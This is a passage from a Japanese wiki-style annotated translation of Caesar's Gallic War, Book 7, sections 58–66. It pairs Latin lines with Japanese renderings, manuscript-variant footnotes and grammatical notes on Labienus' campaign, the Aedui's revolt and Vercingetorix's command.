**彼ら（住民）の大部分は戦争へ徴集されていた（ため不在であった）ので、
*sine contentione oppido potitur. 
**（ラビエーヌスは）闘うことなしに（中州にあるメトロセドゥムの）城塞都市を掌握した。
*⑤　Refecto ponte, quem superioribus diebus hostes resciderant, exercitum traducit 
**それ以前の日々に敵方が破却していた橋を再建して、軍隊を（中州から対岸へ）渡らせて、
*et secundo flumine ad Luteciam iter facere coepit. 
**川に沿ってルテティアの方へ行軍を始めた。
*⑥　Hostes re cognita ab iis, qui Metlosedo&lt;ref&gt;Metlosedo はコンスタン L.-A. Constans による修正で、β系･S写本では Metiosedo 、χ系写本では Melloduno 、B･M･L･N写本では Ametlodone（あるいは Ametclodone）などとなっている。&lt;/ref&gt; fugerant, 
**敵方は、メトロセドゥムから逃げて来た者たちから事態を知って、
*Luteciam incendi pontesque eius oppidi rescindi iubent; 
**ルテティアを焼打ちすること、その城塞都市の橋を破却すること、を命じた。
*ipsi profecti a palude ad ripas&lt;ref&gt;ad ripas はχ系･B･M･L･N写本の記述で、S･Vおよびρ系写本では in ripas 、T写本では in ripa となっている。&lt;/ref&gt; Sequanae 
**彼ら自身は、沼地からセクアナの川岸へ出発して、
*e regione Luteciae contra Labieni castra considunt.
**ルテティア（の対岸）に向かってラビエーヌスの陣営に対抗して陣取った。

===59節===
'''ガッリア諸部族が迫り、ラビエーヌスが作戦変更を決断'''
*①　Iam Caesar a [[w:la:Gergovia|Gergovia]] discessisse audiebatur, 
**すでに、カエサルが[[w:ゲルゴウィア|ゲルゴウィア]]から撤退したことが聞かれていたし、
*iam de [[w:la:Haedui|Haeduorum]] defectione et secundo Galliae motu rumores adferebantur, 
**もはや、[[w:ハエドゥイ族|ハエドゥイー族]]の背反や、ガッリアの動乱の順調さについての噂がもたらされていた。
*Gallique in conloquiis 
**（当地の）ガッリア人たちは会話の中で、
*interclusum itinere et [[w:la:Liger|Ligeri]] Caesarem inopia frumenti coactum in provinciam contendisse confirmabant. 
**カエサルが行軍やリゲル（渡河）を遮られて、糧食の欠乏により属州（[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]）に急ぐことを強いられた、と確言した。
*②　Bellovaci autem defectione Haeduorum cognita, 
**一方で、ベッロウァキ族もハエドゥイー族の背反を知って、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ベッロウァキ族は、ハエドゥイー族の仲介によりカエサルに降伏していた。[[ガリア戦記 第2巻#14節|第2巻14節]]～15節を参照。）&lt;/span&gt;
*qui iam&lt;ref&gt;qui iam は古典学者 ニコラエス・ハインシウス1世 [[w:en:Nikolaes_Heinsius_the_Elder|Nikolaes Heinsius the Elder]] による修正提案で、χ系･S･β系写本では qui 、B･M･L･N写本では quia となっている。&lt;/ref&gt; ante erant per se infideles, 
**彼ら自身もすでに以前から（カエサルやローマ人に）忠誠的でなかったが、
*manus cogere atque aperte bellum parare coeperunt. 
**手勢を徴集して、公けに戦争を準備することを始めた。
*③　Tum [[w:la:Titus Labienus|Labienus]] tanta rerum commutatione 
**そこで、[[w:ティトゥス・ラビエヌス|ラビエーヌス]]はこれほどの事態の変動により、
*longe aliud sibi capiendum consilium, atque antea senserat, intellegebat, 
**自分にとって、以前に判断していたのとはまったく別の作戦が立てられるべきだ、と考えた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：aliud ～ atque …「…とは別の～」）&lt;/span&gt;
*④　neque iam, ut aliquid adquireret proelioque hostes lacesseret, 
**もはや、何らかのものを獲得したり、敵方に戦闘を挑むようにではなく、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：neque ut ～, sed ut …「～ようにではなく、…ように」）&lt;/span&gt;
*sed ut incolumem exercitum Agedincum reduceret, cogitabat. 
**軍隊を無傷のままでアゲディンクム（＝現[[w:サンス|サンス]]）に連れ戻すように、と考えた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：アゲディンクムには輜重と守備隊が残されていた。[[#10節|10節]]・[[#57節|57節]]を参照。）&lt;/span&gt;
*⑤　Namque altera ex parte Bellovaci, 
**実際、一方の側からはベッロウァキ族が、
*quae civitas in Gallia maximam habet opinionem virtutis, instabant, 
**ガッリアにおいて武勇に最大の評判を持つその部族が、迫りつつあった。
*alteram Camulogenus parato atque instructo exercitu tenebat: 
**他方からは、カムロゲヌスが軍隊を準備し、整列させて、進んでいた。
*tum legiones a praesidio atque impedimentis interclusas 
**そのとき、（ラビエーヌス麾下の）諸軍団は（アゲディンクムにいる）守備隊や輜重から遮られて、
*maximum flumen distinebat. 
**とても大きな（セクアナ）川が阻んでいた。
*⑥　Tantis subito difficultatibus obiectis 
**突然に、これほどの困難が投げ出されたので、
*ab animi virtute auxilium petendum videbat.
**武勇の心構えに救いを求めるべきだと（ラビエーヌスは）思った。

===60節===
'''ラビエーヌスが陽動戦術に努める'''
*①　Itaque&lt;ref&gt;Itaque はS･β系写本の記述で、α系写本にはない。&lt;/ref&gt; sub vesperum consilio convocato 
**こうして（[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は）夕方に会議を召集して、
*cohortatus, ut ea, quae imperasset, diligenter industrieque administrarent, 
**（彼が）命令したことを入念かつ勤勉に従事するように鼓舞した。
*naves, quas [[w:la:Melodunum|Metlosedo]]&lt;ref&gt;Metlosedo はコンスタン L.-A. Constans による修正で、χ系･S･β系写本では Metiosedo 、B･M写本では  ameclodone 、L･N写本では a mellodone 、&lt;i&gt;etc&lt;/i&gt;. となっている。&lt;/ref&gt; deduxerat, singulas equitibus Romanis attribuit, 
**[[w:ムラン|メトロセドゥム]]から引いて来ていた船団を、ローマ人騎士たち1人ずつに配分して、
*et prima confecta vigilia IIII(quattuor) milia passuum secundo flumine silentio progredi 
**第一夜警時が終わる頃に、4ローママイル（6km弱）下流に静けさのうちに進発すること、
*ibique se exspectari&lt;ref&gt;exspectari はα系･T･ρ系写本の記述で、S･V写本では exspectare などとなっている。&lt;/ref&gt; iubet. 
**かつ、そこで自分（ラビエーヌス）を待つことを命じた。
*②　Quinque cohortes, quas minime firmas ad dimicandum esse existimabat, 
**（白兵戦を）闘うためにはあまり強くないと（ラビエーヌスが）考えていた5個&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; 
*castris praesidio relinquit; 
**陣営にとっての守備隊として残留させた。
*quinque eiusdem legionis reliquas 
**同じ軍団の残りの5個（歩兵大隊）を
*de media nocte cum omnibus impedimentis adverso flumine magno tumultu proficisci imperat. 
**真夜中から、すべての[[w:輜重|輜重]]とともに、上流の方に大きな喧騒でもって出発することを命令した。
*④　Conquirit etiam lintres; 
**小舟さえも探し集めて、
*has magno sonitu remorum incitatas in eandem partem mittit. 
**これらを大きな音とともに[[w:櫂|櫂]]を駆って、同じ方面に派遣した。
*Ipse post paulo silentio egressus cum tribus legionibus 
**（ラビエーヌス）自身は、少し後で静けさのうちに3個[[w:ローマ軍団|軍団]]とともに進発して、
*eum locum petit, quo naves appelli iusserat.
**船団が停められることを命じていた地点へ行った。

===61節===
'''ラビエーヌスの陽動により、敵将カムロゲヌスが兵力を分散'''
*①　Eo cum esset ventum, 
**（ラビエーヌスの軍勢が）そこにやって来たときに、
*exploratores hostium, ut omni fluminis parte erant dispositi, 
**敵方の偵察者たちが（セクアナ）川の至る所に分けて置かれていたが、
*inopinantes, quod magna subito erat coorta tempestas, 
**突然に大きな嵐が生じたので（ローマ勢の襲撃を）予期していなかった者たちは、
*ab&lt;ref&gt;ab はχ系･B･M･L･N写本の記述で、S･β系写本では a となっている。&lt;/ref&gt; nostris opprimuntur; 
**我が方（ローマ勢）によって不意を襲われたのだ。
*②　exercitus equitatusque equitibus Romanis administrantibus, quos ei negotio praefecerat, 
**歩兵隊と騎兵隊が、（ラビエーヌスが）任務を指揮させていたローマ人騎士たちの指導により、
*celeriter transmittitur. 
**速やかに（セクアナ川を）渡らせられた。
*③　Uno fere tempore sub lucem hostibus nuntiatur 
**夜明け前のほぼ一時に（以下のことが）敵方に報知された。
*in castris Romanorum praeter consuetudinem tumultuari 
**ローマ人の陣営において、通例に反して、騒がれていること、
*et magnum ire agmen adverso flumine 
**大きな隊列が上流の方へ行軍していること、
*sonitumque remorum in eadem parte exaudiri 
**（船を漕ぐ）櫂の音が同じ方面で聞き取られたこと、
*et paulo infra milites navibus transportari. 
**少し下流で兵士たちが船で（セクアナ川を）渡されたこと、である。
*④　Quibus rebus auditis, 
**それらの事態が聞かれて、
*quod existimabant tribus locis transire legiones atque omnes perturbatos defectione [[w:la:Haedui|Haeduorum]] fugam parare, 
**（ローマ勢の）諸軍団が3か所で渡河したこと、[[w:ハエドゥイ族|ハエドゥイー族]]の背反により総勢が取り乱して逃亡を準備していること、を考えたので、
*suas quoque copias in tres partes distribuerunt. 
**自分たちの軍勢をも3方面に分配した。
*⑤　Nam praesidio e regione castrorum relicto 
**すなわち（一隊がローマ勢の）陣営の真向かいに守備隊として残され、
*et parva manu Metlosedum&lt;ref&gt;Metlosedum はQ写本の記述で、χ系･β系写本では Metiosedum 、などとなっている。&lt;/ref&gt; versus missa, 
**（別の）わずかな手勢が[[w:ムラン|メトロセドゥム]]の方面へ派遣され、
*quae tantum progrediatur&lt;ref&gt;progrediatur はα系写本の記述で、Q･S･β系写本では progrederetur となっている。&lt;/ref&gt;, quantum naves processissent, 
**（ローマ勢の）船団が進み出るだけ、（ガッリア兵も）前進するようにした。
*reliquas copias contra Labienum duxerunt.
**残りを軍勢をラビエーヌスに対して（カムロゲヌス自身が）率いて行った。

===62節===
'''ラビエーヌスがカムロゲヌス麾下のガッリア勢を各個撃破して、カエサルと合流'''
*①　Prima luce et nostri omnes erant transportati 
**夜明けに、我が方（ローマ勢）は総勢が（セクアナ川の左岸に）渡されていたし、
*et hostium acies cernebatur. 
**敵方の戦列も見分けられた。
*②　[[w:la:Titus Labienus|Labienus]] milites cohortatus, 
**[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は兵士たちを（以下のように）鼓舞した。
*ut suae pristinae virtutis et tot&lt;ref&gt;tot はS･β系写本の記述で、α系写本にはない。&lt;/ref&gt; secundissimorum proeliorum retinerent memoriam&lt;ref&gt;retinerent memoriam はχ系･B･M･L･N写本の記述で、S･β系写本では memoriam retinerent となっている。&lt;/ref&gt; 
**自分たちのかつての武勇とこのようにとてもうまくいっている諸戦闘を記憶に留めるように、
*atque ipsum Caesarem, cuius ductu saepe numero hostes superassent, praesentem adesse existimarent, 
**かつ、その指揮によって何度もしばしば敵方を打ち破って来たカエサル当人が目下居合わせていると考えるように、と。
*dat signum proelii. 
**（それから）戦闘の号令を発した。
*③　Primo concursu ab dextro cornu, ubi septima legio constiterat, 
**最初の激突は、[[w:第7軍団クラウディア・ピア・フィデリス|第7軍団]]が布陣していた（ローマ軍の）右翼からで、
*hostes pelluntur atque in fugam coniciuntur; 
**敵方は撃退されて、逃亡に追いやられた。
*④　ab sinistro, quem locum duodecima legio tenebat, 
**第12軍団が場所を占めていた左翼からは、
*cum primi ordines hostium transfixi pilis&lt;ref&gt;pilis はβ系写本の記述で、α系写本では telis となっている。&lt;/ref&gt; concidissent, 
**敵方の最前列（の兵たち）が投げ槍で突き通されて斃れたのだが、
*tamen acerrime reliqui resistebant 
**けれども残りの者たちがとても激烈に抵抗していて、
*nec dabat suspicionem fugae quisquam. 
**誰も逃亡の予兆を示さなかった。
*⑤　Ipse dux hostium Camulogenus suis aderat atque eos cohortabatur. 
**敵方の将帥カムロゲヌス自身は、麾下の者たちに居合わせて、彼らを激励していた。
*⑥　At&lt;ref&gt;cohortabatur. At はχ系写本などの記述で、別の写本では記述が異なる。&lt;/ref&gt; incerto nunc etiam&lt;ref&gt;nunc etiam はB･M･L･N写本の記述で、χ系･S･β系写本では etiamnunc となっている。&lt;/ref&gt; exitu victoriae, 
**勝敗の帰趨は今もなお不確実だったが、
*cum septimae legionis tribunis esset nuntiatum, quae in sinistro cornu gererentur, 
**第7軍団の&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに、左翼で&lt;ruby&gt;&lt;rb&gt;出来&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅったい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;したことが報告されたときに、
*post tergum hostium legionem ostenderunt signaque intulerunt. 
**敵方の背後に（第7）軍団を差し向けて、軍旗を進めた（＝進撃した）。
*⑦　Ne eo quidem tempore quisquam loco cessit, 
**その時でさえ、（ガッリア勢の）誰も（戦闘の）場から退却しなかった
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*sed circumventi omnes interfectique sunt. 
**けれども、総勢が包囲されて（ローマ軍により）殺戮された。
*Eandem fortunam tulit Camulogenus. 
**同じ不幸をカムロゲヌスも蒙った。
*⑧　At ii&lt;ref&gt;ii はχ系写本の記述で、他の写本では記述が異なる。&lt;/ref&gt;, qui praesidio contra castra Labieni erant relicti, 
**これに対して、ラビエーヌスの陣営に対して守備隊として残されていた（ガッリア勢の）者たちは、
*cum proelium commissum audissent, subsidio suis ierunt collemque ceperunt, 
**（両軍が）戦闘を交えているのを聞き付けたので、味方の援兵として出て行って、丘陵を占めていたが、
*neque nostrorum militum victorum impetum sustinere potuerunt. 
**勝勢の我が方（ローマ軍）の兵士たちの突撃を持ちこたえることができなかった。
*⑨　Sic cum suis fugientibus permixti, 
**このようにして、敗走している味方と混じり合ったときに、
*quos non silvae montesque texerunt, ab equitatu sunt interfecti. 
**森林や山岳が覆い隠すことのなかったその者たちは、（ローマ側の）騎兵隊によって殺戮された。
*⑩　Hoc negotio confecto Labienus revertitur Agedincum, 
**この戦役が成し遂げられると、ラビエーヌスは[[w:サンス|アゲディンクム]]に引き返した。
*ubi impedimenta totius exercitus relicta erant; 
**そこには軍隊全体の[[w:輜重|輜重]]が残されていたのだ。
*inde die Ⅲ.&lt;ref&gt;inde die Ⅲ. は近代の校訂者による修正提案で、Q･M･S･N･β系写本では単に inde 、他の写本では別の記述になっている。&lt;/ref&gt; cum omnibus copiis ad Caesarem pervenit.
**そこから3日目（＝2日後）にすべての軍勢とともにカエサルのところへ到着した。

==ガッリア戦乱の拡大==
===63節===
'''ハエドゥイー族がウェルキンゲトリークスに主導権争いを挑む'''
*①　Defectione [[w:la:Haedui|Haeduorum]] cognita bellum augetur. 
**[[w:ハエドゥイ族|ハエドゥイー族]]の背反が知られて、戦乱は拡大された。
*②　Legationes in omnes partes circummittuntur; 
**（ハエドゥイー族らにより）使節たちがあらゆる方面に遣わされまくり、
*quantum gratia, auctoritate, pecunia valent, ad sollicitandas civitates nituntur; 
**信望、勢力や金銭によってできる限り、諸部族をそそのかすことに努めた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：quantum ～ valere「～によってできる限り」）&lt;/span&gt;
*③　nacti obsides, quos Caesar apud eos deposuerat,  
**カエサルが彼ら（ハエドゥイー族）のもとに預けて置いた人質たちを手に入れて、
*horum supplicio dubitantes territant.
**彼ら（人質たち）の処刑（を示唆すること）によって、決心がつかぬ者たちを恐れさせた。
*④　Petunt a [[w:la:Vercingetorix|Vercingetorige]] Haedui, ut ad se veniat rationesque belli gerendi communicet; 
**ハエドゥイー族は、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]に、自分たちのところへ来て戦争遂行の戦略を協議するように要求した。
*re impetrata contendunt, ut ipsis summa imperii tradatur. 
**その事が成し遂げられると、（ハエドゥイー族）自身に最高司令権が委ねられるように頑張った。
*Et re&lt;ref&gt;et re は近代の校訂者による修正提案で、β系写本では re 、α系写本では et rem となっている。&lt;/ref&gt; in controversiam deducta totius Galliae concilium [[w:la:Bibracte|Bibracte]] indicitur. 
**その事が論争の状態に置かれて、[[w:ビブラクテ|ビブラクテ]]でのガッリア全体の会合が公示された。
*Eodem conveniunt&lt;ref&gt;Eodem conveniunt はα系写本の記述で、β系写本では単に conveniunt 、etc.となっている。&lt;/ref&gt; undique frequentes. 
**同じところに至る所からたくさんの者たちが集まって来た。
*⑥　Multitudinis suffragiis res permittitur; 
**（最高司令権の）事は衆人の票決に任せられて、
*ad unum omnes Vercingetorigem probant imperatorem. 
**衆議一決により、ウェルキンゲトリークスを将軍（最高司令官）として承認した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ad unum omnes「最後の一人に至るまですべて」）&lt;/span&gt;
*⑦　Ab hoc concilio Remi, Lingones, Treveri afuerunt, 
**この会合へは、[[w:レミ族|レーミー族]]、リンゴネス族、トレウェリ族が不在であった。
*illi quod amicitiam Romanorum sequebantur, 
**前者（レーミー族とリンゴネス族）は、ローマ人との友好を遵守したので（不在であった）。
*Treveri quod aberant longius et ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; [[w:la:Germani|Germanis]] premebantur, 
**トレウェリ族は、はるか遠くに離れており、[[w:ゲルマニア|ゲルマニア]]人により圧迫されていた。
*quae fuit causa quare toto abessent bello 
**それが、何ゆえに（ウェルキンゲトリークスによる）戦争全体に関与しなかったかの理由であり、
*et neutris auxilia mitterent. 
**（ウェルキンゲトリークスとカエサルの）どちら側にも援軍を派遣しなかった。
*⑧　Magno dolore Haedui ferunt se deiectos principatu, 
**ハエドゥイー族は、自分たちが盟主の座から遠ざけられて、とても憤懣やるかたなかったし、
*queruntur fortunae commutationem 
**境遇の変わりようを嘆いて、
*et Caesaris indulgentiam in se&lt;ref&gt;indulgentiam in se はα系写本の記述で、β系写本では in se indulgentiam となっている。&lt;/ref&gt; requirunt 
**カエサルの自分たちへの寛大さを惜しんだ。
*neque tamen suscepto bello suum consilium ab reliquis separare audent. 
**けれども戦争を引き受けてしまったので、あえて自分たちの作戦計画をほか（の諸部族）と異にしなかった。
*⑨　Inviti summae spei adulescentes Eporedorix et Viridomarus Vercingetorigi parent.
**たいへんな野心を持つ青年たち[[w:エポレドリクス|エポレドリクス]]と[[w:ウィリドマルス|ウィリドマルス]]は、意に反してウェルキンゲトリークスに服従した。

===64節===
'''ウェルキンゲトリークスがガッリア諸部族の誘降・服従を謀る'''
*①　Ipse&lt;ref&gt;ipse はα系写本の記述で、β系写本では ille となっている。&lt;/ref&gt; imperat reliquis civitatibus obsides denique ei rei constituit diem; 
**（ウェルキンゲトリークス）自身は、ほかの諸部族に人質（の供出）を命令して、のみならずその事の期日を決めた。
*huc omnes equites, [[wikt:la:quindecim|XV(quindecim)]] milia numero, celeriter convenire iubet. 
**そこに、1万5000名の数のすべての[[w:騎兵|騎兵]]に、速やかに集結することを命じた。
*②　Peditatu quem antea habuerit se fore contentum dicit 
**（歩兵については）自分は、以前から持っていた[[w:歩兵|歩兵隊]]で満足するであろうと言った。
*neque fortunam temptaturum aut in acie&lt;ref&gt;in acie はα系写本の記述で、β系写本では単に acie となっている。&lt;/ref&gt; dimicaturum, 
**（歩兵で）武運を試すことはしないであろうし、あるいは野戦で（白兵戦を）闘うこともないであろう、と。
*sed quoniam abundet equitatu, 
**しかし、騎兵隊は豊富であるから、
*perfacile esse factu frumentationibus pabulationibusque Romanos prohibere; 
**ローマ人たちの糧食・糧秣徴発を妨げることは、とても容易である、と。
*③　aequo modo animo sua ipsi frumenta corrumpant aedificiaque incendant, 
**ただ平静な心で、自分たちの穀物を自身で傷めて、（穀物の）建屋を焼打ちするように。
*qua rei familiaris iactura perpetuum imperium libertatemque se consequi videant. 
**資産の犠牲により、永久の領有権と自由を自分たちが獲得することを思え、と。
*④　His constitutis rebus 
**これらの事が決定されると、
*[[w:la:Haedui|Haeduis]] Segusiavisque, qui sunt finitimi provinciae, decem milia peditum imperat; 
**[[w:ハエドゥイ族|ハエドゥイー族]]および（ローマ人の）属州に隣接するセグスィアウィ族には1万の歩兵（の供出）を命令していたが、
*huc addit equites [[wikt:la:octingenti|octingentos]]. 
**この中に、800騎の騎兵たち（の供出）を付け加えた。
*⑤　His praeficit fratrem Eporedorigis bellumque inferri&lt;ref&gt;inferri はα系写本の記述で、β系写本では inferre となっている。&lt;/ref&gt; Allobrogibus iubet. 
**彼らをエポレドリクスの兄弟に指揮させて、アッロブロゲス族に戦争をしかけることを命じた。
*⑥　Altera ex parte Gabalos proximosque &lt;u&gt;[[wikt:en:pagus#Latin|pagos]]&lt;/u&gt; Arvernorum in Helvios, 
**別の方面から、ガバリ族および近隣のアルウェルニー族の諸&lt;u&gt;郷&lt;/u&gt;に、ヘルウィイ族のところに（攻め入るように）、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''pagus'' (郷) はここでは、部族の領土の農村区画を指す行政用語&lt;ref name=&quot;pagus&quot;&gt;''[[w:en:Pagus]]'' 等を参照。&lt;/ref&gt;。）&lt;/span&gt;
*item Rutenos Cadurcosque ad fines Volcarum Arecomicorum depopulandos mittit. 
**同様に、ルテーニー族およびカドゥルキー族に、ウォルカエ・アレコミキ族の領土を荒らしまわるべく派遣した。
*⑦　Nihilo minus clandestinis nuntiis legationibusque Allobrogas&lt;ref&gt;Allobrogas はα系写本の記述で、β系写本では Allobroges となっている。&lt;/ref&gt; sollicitat, 
**それにもかかわらず、隠密に伝令たちや使節たちにより、アッロブロゲス族を（蜂起を）そそのかした。
*quorum mentes nondum ab&lt;ref&gt;ab はβ系写本の記述で、α系写本では ab となっている。&lt;/ref&gt; superiore bello resedisse sperabat. 
**彼ら（アッロブロゲス族）の心がかつての戦争からまだ静まっていないことを期待したのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：アッロブロゲス族は、BC61年にローマに反旗を翻し、翌BC60年に鎮圧されていた。[[ガリア戦記 第1巻#6節|第1巻6節]]を参照。）&lt;/span&gt;
*⑧　Horum principibus pecunias, 
**彼らの領袖たちに金銭を（約束し）、
*civitati autem imperium totius provinciae pollicetur.
**さらに部族には（カエサル統治下の）属州全体の支配権をも約束したのだ。

===65節===
'''カエサルと同盟諸部族の防戦。ゲルマニア騎兵を呼び寄せる'''
*①　Ad hos omnes casus provisa erant praesidia cohortium duarum et viginti, 
**これらすべての出来事に対して、（カエサルは）22個&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;からなる守備隊を用意していた。
*quae ex ipsa coacta&lt;ref&gt;coacta はχ系･β系写本の記述で、φ系写本にはない。&lt;/ref&gt; provincia ab L.(Lucio) Caesare legato 
**それらは、&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ルキウス・カエサルによって属州全体から徴集されたもので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ここでいう属州とは、[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]を指すと思われる。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;ルキウス・ユリウス・カエサル4世 [[w:en:Lucius Julius Caesar IV|Lucius Julius Caesar IV]] は本書の著者カエサルと4代前の高祖父を共有する元執政官。[[w:en:Julii Caesares|Julii Caesares]] を参照。）&lt;/span&gt;
*ad omnes partes opponebantur. 
**あらゆる方面に対して配置された。
*②　Helvii sua sponte cum finitimis proelio congressi pelluntur 
**[[w:ヘルウィイ族|ヘルウィイ族]]は、自分たちの意思により、近隣（の諸部族）と戦闘で争って撃退され、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この部族については[[#7節|7節]]～8節を参照。）&lt;/span&gt;
*et C.(Gaio) Valerio Domnotauro&lt;ref&gt;Domnotauro はS･L･N写本の記述で、A･B･N写本では Donnotauro 、χ系･π系写本では Donotauro となっており、ρ系写本には記述がない。&lt;/ref&gt;, Caburi filio, principe civitatis, 
**カブルスの息子で、部族の領袖であるガイウス・ウァレリウス・ドムノタウルス
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：彼は、ローマとの友好により、ローマ人風の名前を与えられていたのであろう。）&lt;/span&gt;
*compluribusque aliis interfectis intra oppida ac muros&lt;ref&gt;ac muros はα系写本の記述で、β系写本では murosque となっている。&lt;/ref&gt; compelluntur. 
**および他のかなりの者たちが殺戮されて、&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と城壁の内側に追い込まれた。
*③　Allobroges crebris ad [[w:la:Rhodanus|Rhodanum]] dispositis praesidiis 
**[[w:アッロブロゲス族|アッロブロゲス族]]は、ロダヌス（＝現[[w:ローヌ川|ローヌ川]]）のところへ密に守備隊を分け置いて、
*magna cum cura et diligentia suos fines tuentur. 
**たいへんな注意と入念さにより、自分たちの領土を守った。
*④　Caesar quod hostes equitatu superiores esse intellegebat 
**カエサルは、敵方が[[w:騎兵|騎兵隊]]で（自軍より）優っていると認識していたので、
*et interclusis omnibus itineribus nulla re ex provincia atque Italia sublevari poterat, 
**かつ、すべての道が遮られて、属州やイタリアから何ら支援されることができなかったので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：属州 provincia とはガッリア・トラーンサルピーナ、イタリア Italia とは[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]のことであろう。）&lt;/span&gt;
*trans [[w:la:Rhenus|Rhenum]] in [[wikt:la:Germania|Germaniam]] mittit ad eas civitates, quas superioribus annis pacaverat, 
**レヌス（＝現[[w:ライン川|ライン川]]）の向こう側の[[w:ゲルマニア|ゲルマニア]]に、先年に平定していた諸部族のところへ（使節を）遣わした。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ゲルマニア遠征や平定については、[[ガリア戦記 第4巻#16節|第4巻16節]]～19節、[[ガリア戦記 第6巻#9節|第6巻9節]]～10節を参照。）&lt;/span&gt;
*equitesque ab his arcessit et levis armaturae pedites, 
**彼らから、騎兵たち、および[[w:ウェリテス|軽い武装の歩兵]]たちを呼び寄せた。
*qui inter eos proeliari consuerant. 
**その者ら（軽装歩兵）は、彼ら（騎兵）の間で戦闘することが常であったのだ。
*⑤　Eorum adventu, quod minus idoneis equis utebantur, 
**彼ら（ゲルマニア騎兵）が到着すると、（戦闘に）あまり適していない馬を使役していたので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ゲルマニア人の馬の使用については、[[ガリア戦記 第4巻#2節|第4巻2節]]を参照。）&lt;/span&gt;
*a tribunis militum reliquisque equitibus Romanis atque evocatis equos sumit 
**&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちやほかのローマ人騎士たちや&lt;ruby&gt;&lt;rb&gt;再徴集兵&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;エウォカティ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちから、馬匹を取り上げて、
*[[w:la:Germani|Germanis]]que distribuit.
**ゲルマニア人たちに分配した。

===66節===
'''属州へと南下するカエサル、迎え撃とうとするウェルキンゲトリークス'''
*①　Interea dum haec geruntur, 
**その間に、これらが出来している間に、
*hostium copiae ex Arvernis 
**敵方の（歩兵の）軍勢が（滞陣していたゲルゴウィアの）[[w:アルウェルニ族|アルウェルニー族]]のところから、
*equitesque qui toti Galliae erant imperati conveniunt. 
**および全ガッリアの命令されていた[[w:騎兵|騎兵]]たちが、（ウェルキンゲトリークスのところに）集結して来た。
*②　Magno horum coacto numero, 
**これらの（ガッリア兵の）多数が徴集されて、
*cum Caesar in Sequanos per extremos Lingonum fines iter faceret, 
**カエサルが、[[w:セクアニ族|セクアニ族]]のところに（向かって）[[w:リンゴネス族|リンゴネス族]]の領土の外縁を通って行軍していたときに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：属州へは、リンゴネス族と後述のマンドゥビイ族の間を通ってセクアニ族領を通らねばならなかった。）&lt;/span&gt;
*quo facilius subsidium provinciae ferri&lt;ref&gt;ferri はα系写本の記述で、β系写本では ferre となっている。&lt;/ref&gt; posset, 
**（それは）属州（ガッリア・トラーンサルピーナ）に援兵をより容易にもたらせるようにするためであったが、
*circiter milia passuum X(decem) ab Romanis trinis castris [[w:la:Vercingetorix|Vercingetorix]] consedit 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ローマ人たちから約10ローママイル（15km）のところに、3つの陣営にて陣取った。
*③　convocatisque ad concilium praefectis equitum 
**（ウェルキンゲトリークスは）騎兵の指揮官たちを会合へ召集して、
*venisse tempus victoriae demonstrat; 
**勝利の時が来たと、明言した。
*fugere in provinciam Romanos Galliaque excedere. 
**ローマ人たちは属州に逃亡して、ガッリアから立ち退きつつある、と。
*④　Id sibi ad praesentem obtinendam libertatem satis esse; 
**それは、自分たちにとって目下のところ、自由を維持するためには十分であるが、
